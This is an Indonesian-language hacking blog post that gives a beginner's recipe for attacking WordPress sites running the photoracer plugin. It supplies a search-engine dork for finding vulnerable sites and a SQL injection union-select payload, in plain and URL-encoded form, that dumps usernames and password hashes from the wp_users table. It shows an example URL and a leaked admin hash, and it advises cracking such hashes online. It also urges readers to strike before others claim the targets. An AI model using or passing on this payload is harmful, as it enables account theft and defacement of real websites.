EXPLOIT WORDPRESS VERSI NEWBIE

- on 04.05 - No comments

 

 

 

ga pake panjang lebar gan langsung ajah tekape keburu mangsa di terkam orang lain :

DORK  inurl:"wp-content/plugins/photoracer/viewimg.php?id=" 

dork lain bisa gunakan imajinasi sobat deface zone

exploit : +union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass),7,8,9+from+wp_users--pilih dah exploit mana yg mau di pake :D
+union+select+1,2,3,4,5,concat%28user_login,0x3a,user_pass%29,7,8,9+from+wp_users

demo : www.site.com/wp-content/plugins/photoracer/viewimg.php?id=1

jadinya seperti ini>>> www.site.com/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass),7,8,9+from+wp_users--

muncul nomer togelnya :admin:$P$BZJ19WTKx7P8mOQm6v7frYsuEsoIYg1

klo nomer togelnya ga ada salt ($$) tinggal agan crack ajah di md5 decryp online

agan crack dah tuh pass...klo bisa cracknya bagi2 kesini yah caranya soalnya gw lum tau cara cracknya...asli mumet crack yg pke $$ (salt)....wkwkwkwkwkwkw